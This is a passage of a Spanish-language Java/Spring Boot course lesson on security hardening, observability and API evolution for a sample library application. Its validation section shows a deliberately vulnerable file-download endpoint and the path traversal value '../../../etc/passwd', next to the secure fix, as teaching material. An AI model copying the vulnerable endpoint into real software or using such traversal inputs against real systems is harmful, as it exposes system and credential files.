|---|---|---|
Strict-Transport-Security |
Degradación a HTTP | max-age=31536000; includeSubDomains |
Content-Security-Policy |
XSS | default-src 'self'; object-src 'none' |
X-Content-Type-Options |
Adivinación de tipo MIME | nosniff |
X-Frame-Options |
Clickjacking | DENY |
Referrer-Policy |
Fuga de URLs | strict-origin-when-cross-origin |
Permissions-Policy |
Acceso a cámara, micrófono… | geolocation=(), camera=() |
Límites de tamaño, para que nadie tumbe el servicio con una petición enorme:
spring:
servlet:
multipart:
max-file-size: 10MB
max-request-size: 12MB
server:
tomcat:
max-http-form-post-size: 2MB
max-swallow-size: 2MB
connection-timeout: 20s
threads:
max: 200Límite de tasa, con Resilience4j (mencionado en 11-07):
@Component
public class FiltroLimiteTasa extends OncePerRequestFilter {
private final Cache<String, Bucket> cubos = Caffeine.newBuilder()
.expireAfterAccess(Duration.ofMinutes(10))
.maximumSize(100_000)
.build();
@Override
protected void doFilterInternal(HttpServletRequest p, HttpServletResponse r, FilterChain c)
throws ServletException, IOException {
String clave = claveDe(p); // usuario autenticado, o IP si es anónimo
Bucket cubo = cubos.get(clave, k -> nuevoCubo(p));
ConsumptionProbe sonda = cubo.tryConsumeAndReturnRemaining(1);
if (sonda.isConsumed()) {
r.setHeader("X-RateLimit-Remaining", String.valueOf(sonda.getRemainingTokens()));
c.doFilter(p, r);
} else {
long esperaSegundos = sonda.getNanosToWaitForRefill() / 1_000_000_000;
r.setStatus(HttpStatus.TOO_MANY_REQUESTS.value()); // 429
r.setHeader(HttpHeaders.RETRY_AFTER, String.valueOf(esperaSegundos));
escribirProblema(r, "Demasiadas peticiones. Reintenta en " + esperaSegundos + " s.");
}
}
private Bucket nuevoCubo(HttpServletRequest p) {
// El login se limita MUCHO más: es la puerta a los ataques de fuerza bruta
boolean esLogin = p.getRequestURI().startsWith("/api/auth/login");
int porMinuto = esLogin ? 5 : 100;
return Bucket.builder()
.addLimit(l -> l.capacity(porMinuto).refillGreedy(porMinuto, Duration.ofMinutes(1)))
.build();
}
}
- Validación de toda entrada externa
Retoma 09-03 y 12-04, y se enuncia como regla:
Toda entrada externa es hostil hasta que se demuestre lo contrario. Externa incluye: cuerpos de peticiones, parámetros, cabeceras, cookies, ficheros subidos, respuestas de APIs externas, mensajes de colas, argumentos de línea de comandos y variables de entorno.
| Entrada | Riesgo | Validación |
|---|---|---|
| Cuerpo JSON | Inyección, campos inesperados | @Valid + DTO cerrado (12-04) |
| Parámetro de ruta | Path traversal, inyección | Convertidor tipado + patrón |
| Nombre de fichero subido | ../../etc/passwd |
Nombre generado, nunca el del usuario |
| Contenido de fichero | Zip bomb, malware, XXE | Límite de tamaño, tipo verificado |
| Respuesta de API externa | Datos malformados o maliciosos | DTO tipado, límites, tiempo de espera |
Cabecera Host |
Envenenamiento de caché | Lista blanca de hosts permitidos |
El caso del path traversal, que es el error más fácil de cometer:
// VULNERABLE: nombre = "../../../etc/passwd"
@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable String nombre) throws IOException {
return new FileSystemResource(Path.of("/var/bibliotech/informes/", nombre));
}// SEGURO: normalizar y verificar que sigue dentro del directorio permitido
private static final Path BASE = Path.of("/var/bibliotech/informes").toAbsolutePath().normalize();
@GetMapping("/api/informes/{nombre}")
public Resource descargar(@PathVariable @Pattern(regexp = "[a-zA-Z0-9._-]{1,64}") String nombre)
throws IOException {
Path solicitado = BASE.resolve(nombre).normalize();
// La comprobación DECISIVA: tras normalizar, ¿sigue dentro de BASE?
if (!solicitado.startsWith(BASE)) {
throw new AccessDeniedException("Ruta no permitida");
}
if (!Files.isRegularFile(solicitado)) {
throw new RecursoNoEncontradoException(nombre);
}
return new FileSystemResource(solicitado);
}Y el XXE (XML External Entity), que afecta a cualquier procesamiento de XML:
// SEGURO: desactivar entidades externas antes de parsear cualquier XML
DocumentBuilderFactory fabrica = DocumentBuilderFactory.newInstance();
fabrica.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
fabrica.setFeature("http://xml.org/sax/features/external-general-entities", false);
fabrica.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
fabrica.setXIncludeAware(false);
fabrica.setExpandEntityReferences(false);
- Advertencia sobre seguridad real
⚠️ ADVERTENCIA IMPORTANTE
Lo que has aprendido en esta lección es una base sólida, y no es suficiente para poner en producción un sistema que maneje datos personales, credenciales o dinero.
Un curso puede enseñarte los mecanismos: BCrypt, JWT, autorización, validación, cabeceras. No puede sustituir:
- Una revisión por un profesional de seguridad. Las vulnerabilidades reales suelen estar en las interacciones entre componentes, no en un mecanismo aislado. Alguien que se dedica a esto ve cosas que quien escribió el código no puede ver.
- Una prueba de penetración antes de exponer el sistema a internet.
- El cumplimiento de la normativa aplicable. En la Unión Europea, el RGPD impone obligaciones concretas y con sanciones: base legal para tratar los datos, minimización, derecho de acceso, rectificación y supresión, notificación de brechas en 72 horas, evaluaciones de impacto, y registro de actividades de tratamiento. Si BiblioTech guarda nombres, correos y hábitos de lectura de empleados, está tratando datos personales y el RGPD aplica.
- Una política de gestión de incidentes. Qué se hace cuando —no si— se detecta una brecha: quién decide, a quién se avisa, cómo se rotan las credenciales, cómo se comunica.
- Formación continua. Las técnicas de ataque evolucionan. Lo que era seguro en 2020 puede no serlo hoy.
Regla práctica: si tu sistema maneja datos de personas reales, credenciales o pagos, no lo expongas sin que alguien con formación específica en seguridad lo haya revisado. No es pesimismo: es que el coste de equivocarse lo pagan terceros que confiaron en ti.
Y una regla más, que es la que más incidentes evita: no implementes criptografía propia. Usa BCrypt o Argon2 para contraseñas, TLS para el transporte, y librerías establecidas para todo lo demás. Todos los sistemas criptográficos rotos de la historia empezaron con alguien convencido de que su idea era buena.
Parte II: Observabilidad
- Observabilidad: los tres pilares
Monitorización responde a preguntas que ya sabías que ibas a hacer. Observabilidad permite responder a preguntas que no habías previsto. La diferencia importa cuando el problema es nuevo, que es siempre.
| Pilar | Qué es | Responde a | Coste | Retención |
|---|---|---|---|---|
| Registros | Eventos discretos con contexto | «¿Qué pasó exactamente en esta petición?» | Alto (volumen) | Días o semanas |
| Métricas | Valores numéricos agregados en el tiempo | «¿Cuántas peticiones por segundo? ¿Qué latencia?» | Bajo | Meses o años |
| Trazas | El recorrido de una petición por el sistema | «¿En qué componente se fue el tiempo?» | Medio (muestreo) | Días |
Por qué no bastan los registros, que es lo que casi todo el mundo tiene y nada más:
| Pregunta | ¿La responden los logs? |
|---|---|
| ¿Cuántas peticiones por segundo? | Contando líneas: caro y aproximado |
| ¿Cuál es la latencia del percentil 99? | Prácticamente imposible |
| ¿Ha empeorado respecto a la semana pasada? | No, si ya se rotaron |
| ¿Se está agotando el pool de conexiones? | Solo si alguien pensó en registrarlo |
| ¿Qué tarda más, la base de datos o la API externa? | Muy laboriosamente |
| ¿Cuánta memoria queda antes del próximo GC? | No |
Y hay un problema añadido: registrar en el nivel necesario para responder a esas preguntas produce tal volumen que se vuelve inasumible en coste y en ruido. Las métricas son baratas porque agregan; los registros son caros porque conservan cada evento.
- Actuator y Micrometer
Micrometer es a las métricas lo que SLF4J es al logging (11-07): una fachada que desacopla tu código del sistema de métricas concreto. Escribes contra Micrometer y decides después si van a Prometheus, Datadog, CloudWatch o New Relic.
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-actuator</artifactId>
</dependency>
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-registry-prometheus</artifactId>
<scope>runtime</scope>
</dependency>management:
endpoints:
web:
exposure:
include: health,info,metrics,prometheus,loggers
endpoint:
health:
probes: { enabled: true }
show-details: when-authorized
metrics:
tags:
application: bibliotech # etiqueta común a TODAS las métricas
entorno: ${SPRING_PROFILES_ACTIVE:desconocido}
observations:
key-values:
version: ${bibliotech.version}
prometheus:
metrics:
export:
enabled: trueCon eso, Spring Boot ya expone decenas de métricas sin escribir código:
| Métrica | Qué mide |
|---|---|
http.server.requests |
Peticiones: cuenta, latencia, por ruta, método y estado |
jvm.memory.used |
Memoria por región (10-07) |
jvm.gc.pause |
Pausas del recolector |
jvm.threads.live |
Hilos vivos |
hikaricp.connections.active |
Conexiones del pool en uso |
hikaricp.connections.pending |
Hilos esperando conexión |
spring.data.repository.invocations |
Llamadas a repositorios |
system.cpu.usage |
CPU |
logback.events |
Eventos de log por nivel |
Los cuatro tipos de instrumento:
| Tipo | Qué mide | Ejemplo |
|---|---|---|
| Counter | Valor que solo crece | Préstamos creados |
| Gauge | Valor instantáneo | Materiales disponibles |
| Timer | Duración y frecuencia | Tiempo de cálculo de multas |
| DistributionSummary | Distribución de valores | Tamaño de las importaciones |
- Métricas de negocio
Las métricas técnicas dicen si el sistema está sano. Las de negocio dicen si está haciendo su trabajo, y son las que detectan los fallos silenciosos.
@Service
public class MetricasBiblioTech {
private final Counter prestamosCreados;
private final Counter prestamosRechazados;
private final Counter multasEmitidas;
private final Timer tiempoCalculoMultas;
private final DistributionSummary importeMultas;
public MetricasBiblioTech(MeterRegistry registro, RepositorioMateriales materiales) {
this.prestamosCreados = Counter.builder("bibliotech.prestamos.creados")
.description("Préstamos creados correctamente")
.baseUnit("prestamos")
.register(registro);
this.prestamosRechazados = Counter.builder("bibliotech.prestamos.rechazados")
.description("Intentos de préstamo rechazados")
.register(registro);
this.multasEmitidas = Counter.builder("bibliotech.multas.emitidas")
.register(registro);
this.tiempoCalculoMultas = Timer.builder("bibliotech.multas.calculo")
.publishPercentiles(0.5, 0.95, 0.99)
.register(registro);
this.importeMultas = DistributionSummary.builder("bibliotech.multas.importe")
.baseUnit("euros")
.publishPercentiles(0.5, 0.95)
.register(registro);
// Gauge: se consulta cuando se recoge la métrica.
// OJO: la función debe ser BARATA. Aquí una consulta cacheada, no un count() a la BD.
Gauge.builder("bibliotech.materiales.disponibles", materiales::contarDisponiblesCacheado)
.description("Materiales con al menos una unidad libre")
.register(registro);
}
/** Con etiqueta de motivo: permite ver POR QUÉ se rechazan. */
public void prestamoRechazado(String motivo) {
prestamosRechazados.increment();
Counter.builder("bibliotech.prestamos.rechazados.por.motivo")
.tag("motivo", motivo) // limite_excedido, sin_unidades, multas_pendientes
.register(registro)
.increment();
}
}Y el uso, integrado en el caso de uso:
@Service
public class GestorPrestamos {
@Timed(value = "bibliotech.prestamos.duracion", percentiles = {0.5, 0.95, 0.99})
@Transactional
public Prestamo prestar(Isbn isbn, Long idEmpleado, Integer dias) {
try {
Prestamo prestamo = crearPrestamo(isbn, idEmpleado, dias);
metricas.prestamoCreado(prestamo.getMaterial().tipo());
return prestamo;
} catch (LimiteDePrestamosExcedidoException e) {
metricas.prestamoRechazado("limite_excedido");
throw e;
} catch (MaterialNoDisponibleException e) {
metricas.prestamoRechazado("sin_unidades");
throw e;
}
}
}Aviso sobre la cardinalidad. Nunca uses como etiqueta un valor con muchos valores posibles: identificador de usuario, ISBN, dirección IP, marca de tiempo. Cada combinación de etiquetas crea una serie temporal distinta, y una etiqueta con 100.000 valores crea 100.000 series. Es la forma más rápida de tumbar un Prometheus. Etiquetas buenas: tipo de material (3 valores), motivo de rechazo (5), estado HTTP (10). Etiquetas prohibidas:
idEmpleado,isbn,urlcompleta con parámetros.
- Prometheus y Grafana
Prometheus recoge métricas mediante scraping: consulta periódicamente el endpoint que expone la aplicación.
$ curl -s localhost:8080/actuator/prometheus | grep bibliotech_prestamos
# HELP bibliotech_prestamos_creados_total Préstamos creados correctamente
# TYPE bibliotech_prestamos_creados_total counter
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="LIBRO"} 1247.0
bibliotech_prestamos_creados_total{application="bibliotech",entorno="prod",tipo="DVD"} 89.0# prometheus.yml
global:
scrape_interval: 15s
scrape_configs:
- job_name: bibliotech
metrics_path: /actuator/prometheus
static_configs:
- targets: ['bibliotech:8080']
rule_files:
- alertas.ymlConsultas PromQL para las preguntas que de verdad se hacen:
# Peticiones por segundo, por endpoint
sum(rate(http_server_requests_seconds_count[5m])) by (uri)
# Latencia del percentil 95
histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))
# Tasa de error (5xx sobre el total)
sum(rate(http_server_requests_seconds_count{status=~"5.."}[5m]))
/ sum(rate(http_server_requests_seconds_count[5m]))
# Uso del pool de conexiones
hikaricp_connections_active / hikaricp_connections_max
# Préstamos por hora
sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600
# Memoria del heap en uso, en porcentaje
sum(jvm_memory_used_bytes{area="heap"}) / sum(jvm_memory_max_bytes{area="heap"})Añadir a compose.yaml (12-06) el stack completo para desarrollo:
prometheus:
image: prom/prometheus:latest
volumes:
- ./observabilidad/prometheus.yml:/etc/prometheus/prometheus.yml:ro
- ./observabilidad/alertas.yml:/etc/prometheus/alertas.yml:ro
ports: ["9090:9090"]
grafana:
image: grafana/grafana:latest
environment:
GF_SECURITY_ADMIN_PASSWORD: ${GRAFANA_PASSWORD:-admin}
volumes:
- ./observabilidad/grafana:/etc/grafana/provisioning:ro
ports: ["3000:3000"]
depends_on: [prometheus]
- Las cuatro señales de oro
De todas las métricas posibles, hay cuatro que responden al 90 % de las preguntas operativas. Vienen del libro de SRE de Google y son el punto de partida de cualquier panel:
| Señal | Qué mide | En BiblioTech | Alerta si |
|---|---|---|---|
| Latencia | Tiempo de respuesta | p95 y p99 de http.server.requests |
p95 > 500 ms durante 5 min |
| Tráfico | Demanda | Peticiones por segundo | Caída del 50 % respecto a lo habitual |
| Errores | Peticiones fallidas | Tasa de 5xx | > 1 % durante 5 min |
| Saturación | Cuán lleno está el sistema | Pool de conexiones, memoria, CPU | Pool > 80 %, heap > 85 % |
Dos matices que importan más de lo que parecen:
Mide percentiles, no medias. La media esconde exactamente los casos que molestan. Con 1.000 peticiones de 50 ms y 10 de 8 segundos, la media es 129 ms —parece bien— y hay diez usuarios convencidos de que el sistema está roto. El p99 sí lo ve.
La latencia de los errores se mide aparte. Un 500 que responde en 3 ms mejora artificialmente la media de latencia. Separa siempre latencia de peticiones correctas y de fallidas.
- Trazas distribuidas
Cuando una petición atraviesa varios componentes, los registros dispersos no dicen dónde se fue el tiempo. Las trazas siguen la petición de extremo a extremo.
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
<groupId>io.opentelemetry</groupId>
<artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>management:
tracing:
sampling:
probability: 0.1 # 10 % de las peticiones: coste bajo, muestra suficiente
otlp:
tracing:
endpoint: http://tempo:4318/v1/traces
logging:
pattern:
# traceId y spanId en CADA línea de log: así se une una traza con sus registros
level: "%5p [${spring.application.name},%X{traceId:-},%X{spanId:-}]"Una traza de POST /api/prestamos:
Trace a3f7e91c4b2d8f6a ─── total: 187 ms ├── http POST /api/prestamos 187 ms │ ├── GestorPrestamos.prestar 184 ms │ │ ├── select material where isbn = ? 4 ms │ │ ├── select count(*) from prestamo where … 3 ms │ │ ├── PasarelaMetadatos.buscar (HTTP externo) 142 ms ← EL CULPABLE │ │ ├── insert into prestamo 6 ms │ │ └── NotificadorAvisos.notificar 27 ms │ └── serialización JSON 2 ms
En un vistazo: el 76 % del tiempo se va en una llamada HTTP externa. Sin trazas, eso son horas de instrumentación manual.
Y aquí se cobra el MDC de 11-07. El traceId que Micrometer Tracing propaga es el mismo identificador de correlación que ya pusiste en el MDC, el mismo que aparece en el ProblemDetail de 12-04, y el mismo que devuelve la CLI en su identificador de incidencia (12-03). Un usuario reporta un problema con el identificador a3f7e91c; con él tienes la traza completa, todos los registros de esa petición y el punto exacto donde falló.
Trazas propias donde hagan falta:
@Service
public class EnriquecedorCatalogo {
private final ObservationRegistry registro;
public void enriquecer(List<Material> materiales) {
Observation.createNotStarted("bibliotech.enriquecer", registro)
.lowCardinalityKeyValue("origen", "api-metadatos")
.highCardinalityKeyValue("cantidad", String.valueOf(materiales.size()))
.observe(() -> {
materiales.forEach(this::enriquecerUno);
});
}
}
- Registros en producción
En producción, los registros deben ser estructurados. Un log en texto plano obliga a las herramientas a adivinar; uno en JSON se consulta como una base de datos.
<!-- logback-spring.xml, retomando 11-07 -->
<configuration>
<springProfile name="dev">
<appender name="CONSOLA" class="ch.qos.logback.core.ConsoleAppender">
<encoder>
<pattern>%d{HH:mm:ss.SSS} %highlight(%-5level) [%X{traceId:-}] %cyan(%logger{25}) - %msg%n</pattern>
</encoder>
</appender>
<root level="INFO"><appender-ref ref="CONSOLA"/></root>
</springProfile>
<springProfile name="prod">
<appender name="JSON" class="ch.qos.logback.core.ConsoleAppender">
<encoder class="net.logstash.logback.encoder.LogstashEncoder">
<includeMdcKeyName>traceId</includeMdcKeyName>
<includeMdcKeyName>spanId</includeMdcKeyName>
<includeMdcKeyName>usuarioId</includeMdcKeyName>
<customFields>{"aplicacion":"bibliotech","entorno":"prod"}</customFields>
<fieldNames>
<timestamp>marca_tiempo</timestamp>
<message>mensaje</message>
</fieldNames>
</encoder>
</appender>
<!-- Asíncrono: registrar NO debe frenar las peticiones -->
<appender name="ASINCRONO" class="ch.qos.logback.classic.AsyncAppender">
<appender-ref ref="JSON"/>
<queueSize>2048</queueSize>
<discardingThreshold>0</discardingThreshold> <!-- no descartar WARN ni ERROR -->
<neverBlock>true</neverBlock> <!-- ante saturación, descartar antes que bloquear -->
</appender>
<root level="INFO"><appender-ref ref="ASINCRONO"/></root>
<logger name="AUDITORIA" level="INFO" additivity="false">
<appender-ref ref="ASINCRONO"/>
</logger>
</springProfile>
</configuration>{
"marca_tiempo": "2026-08-05T10:23:45.123Z",
"level": "INFO",
"logger_name": "com.nexussoftware.bibliotech.aplicacion.GestorPrestamos",
"mensaje": "Préstamo creado id=42 isbn=978-0000000001",
"traceId": "a3f7e91c4b2d8f6a",
"spanId": "8f6a2b1c",
"usuarioId": "1",
"aplicacion": "bibliotech",
"entorno": "prod"
}En contenedores, escribe siempre a la salida estándar. No a ficheros: el contenedor es efímero (12-06) y el orquestador ya recoge la salida estándar y la envía al agregador (Loki, Elasticsearch, CloudWatch).
Qué NO registrar, nunca:
| No registrar | Motivo |
|---|---|
| Contraseñas, ni siquiera para depurar | Quedan en el agregador durante meses |
| Tokens, claves de API, cookies de sesión | Robables con acceso de solo lectura al log |
| Números de tarjeta, DNI, datos de salud | RGPD y PCI-DSS |
| Cuerpos completos de peticiones | Suelen llevar todo lo anterior |
| Datos personales innecesarios | Minimización del RGPD |
| Dentro de un bucle sobre 50.000 elementos | Coste y ruido |
Retención, con criterio de coste y de normativa:
| Tipo | Retención | Motivo |
|---|---|---|
| DEBUG | No se registra en producción | Volumen |
| INFO | 7-14 días | Diagnóstico reciente |
| WARN / ERROR | 30-90 días | Análisis de tendencias |
| Auditoría | 1-7 años | Obligación legal |
| Métricas | 13 meses | Comparar con el año anterior |
- Alertas útiles frente a ruido
Una alerta que se ignora es peor que no tenerla: entrena al equipo a ignorar todas.
| Alerta buena | Alerta mala |
|---|---|
| Requiere acción humana ahora | Es informativa |
| Indica impacto en el usuario | Indica una causa que puede no importar |
| Rara y creíble | Frecuente y con falsos positivos |
| Dice qué hacer | Solo dice qué pasó |
| Tiene un procedimiento asociado | Nadie sabe qué hacer con ella |
# alertas.yml
groups:
- name: bibliotech
rules:
# ✅ BUENA: impacto directo en usuarios, requiere acción
- alert: TasaDeErroresAlta
expr: |
sum(rate(http_server_requests_seconds_count{status=~"5..",application="bibliotech"}[5m]))
/ sum(rate(http_server_requests_seconds_count{application="bibliotech"}[5m])) > 0.01
for: 5m
labels: { severidad: critica }
annotations:
summary: "Más del 1 % de las peticiones fallan con 5xx"
descripcion: "Tasa actual: {{ $value | humanizePercentage }}"
accion: "Revisa los logs con severity=ERROR y las trazas del último despliegue"
runbook: "https://wiki.nexussoftware.com/bibliotech/runbook#errores-5xx"
# ✅ BUENA: predice un fallo antes de que ocurra
- alert: PoolDeConexionesAgotandose
expr: hikaricp_connections_pending{application="bibliotech"} > 5
for: 3m
labels: { severidad: alta }
annotations:
summary: "{{ $value }} hilos esperando conexión a la base de datos"
accion: "Busca consultas lentas; considera subir maximum-pool-size"
# ✅ BUENA: detecta un fallo SILENCIOSO
- alert: SinPrestamosEnHorarioLaboral
expr: |
sum(rate(bibliotech_prestamos_creados_total[30m])) == 0
and on() (hour() >= 8 < 18) and on() (day_of_week() > 0 < 6)
for: 30m
labels: { severidad: media }
annotations:
summary: "Ni un solo préstamo en 30 minutos en horario laboral"
descripcion: "El sistema responde, pero quizá haya un fallo funcional"
# ❌ MALA: no implica impacto y se dispara constantemente
# - alert: UsoDeCpuAlto
# expr: system_cpu_usage > 0.8
# Un pico de CPU de 30 segundos no requiere que nadie se levante.
# ❌ MALA: informativa, no accionable
# - alert: DespliegueRealizado
# Eso va a un canal de notificaciones, no a una alerta.La alerta de «ningún préstamo en horario laboral» es la más interesante de las tres, porque detecta el tipo de fallo que ninguna métrica técnica ve: el sistema responde 200 a todo, la latencia es perfecta, la CPU está tranquila… y una regla de negocio rota impide que nadie pueda prestar nada.
Nota: SLI, SLO y presupuesto de error. Un SLI (indicador) es una métrica que mide la experiencia del usuario: por ejemplo, «porcentaje de peticiones correctas por debajo de 300 ms». Un SLO (objetivo) es la meta: «99,5 % mensual». El presupuesto de error es lo que queda: con un 99,5 %, puedes fallar el 0,5 % del mes, es decir, unas 3,6 horas. Su utilidad es que convierte una discusión subjetiva en una decisión con datos: si en la primera semana has consumido el 80 % del presupuesto, se congelan las funcionalidades nuevas y se dedica el esfuerzo a fiabilidad. Y si llevas seis meses sin gastarlo, probablemente estás siendo demasiado conservador y puedes desplegar más a menudo. Un SLO del 100 % no es un objetivo ambicioso: es un objetivo mal definido, porque su coste es infinito.
- El cuadro de mando de BiblioTech
Un panel de Grafana con tres filas, ordenadas por lo que se mira primero:
| Fila | Paneles | Para quién |
|---|---|---|
| Salud | Disponibilidad, tasa de error, p95 y p99, peticiones por segundo | Todo el mundo, de un vistazo |
| Recursos | Heap, pausas de GC, hilos, pool de conexiones, CPU | Quien diagnostica |
| Negocio | Préstamos/hora, devoluciones, multas emitidas, materiales disponibles, rechazos por motivo | Producto y operaciones |
{
"title": "BiblioTech — Salud",
"panels": [
{
"title": "Tasa de error (5xx)",
"targets": [{ "expr": "sum(rate(http_server_requests_seconds_count{status=~\"5..\"}[5m])) / sum(rate(http_server_requests_seconds_count[5m]))" }],
"thresholds": [{ "value": 0.01, "color": "red" }]
},
{
"title": "Latencia p95 por endpoint",
"targets": [{ "expr": "histogram_quantile(0.95, sum(rate(http_server_requests_seconds_bucket[5m])) by (le, uri))" }]
},
{
"title": "Préstamos por hora",
"targets": [{ "expr": "sum(rate(bibliotech_prestamos_creados_total[1h])) * 3600" }]
},
{
"title": "Rechazos por motivo",
"targets": [{ "expr": "sum(rate(bibliotech_prestamos_rechazados_por_motivo_total[15m])) by (motivo)" }]
}
]
}Y una regla de diseño de paneles: si un panel no ha servido nunca para tomar una decisión, quítalo. Un cuadro de mando con cuarenta gráficas no se mira; uno con ocho, sí.
Parte III: Evolución
- Versionado de la API y depreciación
En cuanto un cliente externo consume tu API, el contrato deja de ser tuyo. Cambiarlo rompe sistemas ajenos.
| Estrategia | Ejemplo | Ventajas | Inconvenientes |
|---|---|---|---|
| En la URI | /api/v1/materiales |
Explícita, cacheable, fácil de enrutar | Duplica rutas; poco «REST puro» |
| Cabecera propia | X-Api-Version: 2 |
URI limpia | Invisible; difícil de probar con el navegador |
| Negociación de contenido | Accept: application/vnd.bibliotech.v2+json |
La más «correcta» | Compleja de usar y de depurar |
| Parámetro | /api/materiales?version=2 |
Muy simple | Se mezcla con los filtros |
| Sin versión | /api/materiales |
Sin coste | Solo viable si nunca hay cambios incompatibles |
Recomendación para BiblioTech: versión en la URI. No es la más elegante, es la más práctica: se ve en cualquier log, se prueba con curl, se enruta en el proxy y cualquiera la entiende.
Lo más importante no es la estrategia, sino saber qué cambios rompen y cuáles no:
| Cambio | ¿Rompe? |
|---|---|
| Añadir un campo a la respuesta | No (si los clientes ignoran lo desconocido) |
| Añadir un parámetro opcional | No |
| Añadir un endpoint | No |
| Eliminar un campo de la respuesta | Sí |
| Renombrar un campo | Sí |
| Cambiar el tipo de un campo | Sí |
| Hacer obligatorio un campo opcional | Sí |
| Cambiar un código de estado | Sí |
| Restringir un rango de valores | Sí |
La primera fila es la clave: si tus clientes ignoran los campos desconocidos, puedes añadir sin romper. Por eso @JsonIgnoreProperties(ignoreUnknown = true) de 11-07 no es un detalle: es lo que permite que la API evolucione.
Depreciación ordenada, en cuatro fases:
@GetMapping("/api/v1/materiales/{isbn}")
@Deprecated(since = "1.5.0", forRemoval = true)
@Operation(deprecated = true,
summary = "[OBSOLETO] Usa /api/v2/materiales/{isbn}",
description = "Se eliminará el 2027-01-01. Cambios en v2: el campo 'disponible' "
+ "(booleano) se sustituye por 'unidadesDisponibles' (entero).")
public ResponseEntity<MaterialResponseV1> porIsbnV1(@PathVariable Isbn isbn) {
return ResponseEntity.ok()
.header("Deprecation", "true") // RFC 8594
.header("Sunset", "Fri, 01 Jan 2027 00:00:00 GMT")
.header("Link", "</api/v2/materiales/" + isbn + ">; rel=\"successor-version\"")
.body(MaterialResponseV1.desde(catalogo.porIsbn(isbn).orElseThrow()));
}| Fase | Duración | Qué se hace |
|---|---|---|
| 1. Anuncio | — | Publicar v2, documentar la migración, avisar a los clientes |
| 2. Depreciación | 6-12 meses | v1 funciona, con cabeceras Deprecation y Sunset; medir su uso |
| 3. Aviso final | 1 mes | Contactar directamente con quien siga usando v1 |
| 4. Retirada | — | v1 devuelve 410 Gone con enlace a v2 |
Y una métrica que hace que todo esto funcione:
@Component
public class MetricasVersionApi {
@EventListener
public void alUsarV1(PeticionV1Event evento) {
Counter.builder("bibliotech.api.v1.uso")
.tag("cliente", evento.identificadorCliente()) // baja cardinalidad
.register(registro)
.increment();
}
}Sin esa métrica, retirar v1 es una apuesta. Con ella, sabes exactamente quién queda y puedes llamarle.
- Deuda técnica y actualizaciones
Gestión de la deuda. Retomando 12-05, la deuda se gestiona haciéndola visible:
| Práctica | Cómo |
|---|---|
| Registrarla | Incidencias con etiqueta deuda-tecnica y su coste estimado |
| Cuantificarla | «Esto nos cuesta 2 h por sprint» es un argumento; «está feo» no lo es |
| Presupuestarla | Un 15-20 % de la capacidad de cada iteración |
| Pagarla donde duele | Refactorizar lo que se toca a menudo, no lo que está feo y quieto |
| Prevenirla | Clean as You Code de 12-05 |
Actualizar Java. El calendario de soporte:
| Versión | Tipo | Soporte hasta |
|---|---|---|
| Java 17 | LTS | 2029 |
| Java 21 | LTS | 2031 |
| Java 25 | LTS | ~2033 |
| Intermedias (22, 23, 24…) | 6 meses | La siguiente |
Estrategia razonable: producción en LTS, y probar cada versión intermedia en CI (la matriz de 12-05) para detectar problemas con antelación.
Actualizar Spring Boot, que es lo que más trabajo suele dar:
| Tipo | Ejemplo | Riesgo | Frecuencia |
|---|---|---|---|
| Parche | 3.3.4 → 3.3.5 | Muy bajo. Correcciones de seguridad | Mensual |
| Menor | 3.3 → 3.4 | Bajo. Algunas depreciaciones | Cada 6 meses |
| Mayor | 2.7 → 3.0 | Alto: javax → jakarta, Java 17 mínimo |
Con planificación |
./mvnw versions:display-dependency-updates # qué dependencias tienen versión nueva
./mvnw versions:display-plugin-updates
./mvnw versions:display-property-updatesProcedimiento seguro para una actualización mayor, que es el que evita las semanas perdidas:
- Leer las notas de migración oficiales, enteras. No es opcional.
- Rama propia, solo para la actualización. Sin mezclar funcionalidades.
- Subir una versión menor cada vez (3.1 → 3.2 → 3.3), no de golpe.
- Ejecutar la suite completa en cada salto.
- Corregir depreciaciones antes de subir a la siguiente mayor.
- Desplegar en preproducción y vigilar métricas 48 horas.
- Producción con azul-verde (12-06), listo para volver atrás.
Y una herramienta que ahorra mucho trabajo mecánico: OpenRewrite aplica recetas de migración automáticamente.
./mvnw org.openrewrite.maven:rewrite-maven-plugin:run \
-Drewrite.activeRecipes=org.openrewrite.java.spring.boot3.UpgradeSpringBoot_3_3
- Documentación que sobrevive
Toda documentación se queda obsoleta. La única que no lo hace es la que se genera o se verifica automáticamente.
| Documento | Dónde | Cómo sobrevive |
|---|---|---|
| README | Raíz del repositorio | CI ejecuta sus comandos de arranque |
| OpenAPI | Generado del código | Se genera; no puede mentir |
| ADR | docs/adr/ |
Inmutables por diseño (12-01) |
| Javadoc del dominio | En el código | Se lee al usar la clase |
| Runbooks | Wiki, enlazados desde las alertas | Se revisan tras cada incidente |
| Diagramas de arquitectura | docs/, como código (Mermaid, PlantUML) |
Se revisan en el PR |
| Wiki con «cómo funciona el sistema» | — | No sobrevive. Evítala |
Un runbook es lo que más se agradece a las tres de la mañana:
# Runbook: TasaDeErroresAlta
## Qué significa
Más del 1 % de las peticiones devuelven 5xx durante 5 minutos.
## Impacto
Usuarios recibiendo errores. Prioridad alta.
## Diagnóstico
1. ¿Hubo un despliegue en la última hora?
`kubectl rollout history deployment/bibliotech -n produccion`
→ Si sí, **la primera hipótesis es esa**: `kubectl rollout undo`
2. ¿Qué endpoint falla?
Grafana → BiblioTech Salud → «Errores por endpoint»
3. ¿Qué excepción?
`{aplicacion="bibliotech"} | json | level="ERROR"` en Loki, últimos 15 min
4. ¿La base de datos responde?
`curl -s $BASE/actuator/health | jq .components.db`
5. ¿El pool está saturado?
Grafana → Recursos → «Conexiones pendientes»
## Causas frecuentes
| Síntoma | Causa | Solución |
|---|---|---|
| Errores tras un despliegue | Regresión | `kubectl rollout undo` |
| `CannotGetJdbcConnection` | BD caída o pool agotado | Comprobar la BD; buscar consultas lentas |
| `SocketTimeoutException` a metadatos | API externa caída | Activar el modo degradado |
| OOMKilled en los pods | Memoria insuficiente | Subir el límite; buscar fugas (10-07) |
## Escalado
Sin resolver en 30 min → avisar al responsable de guardia.
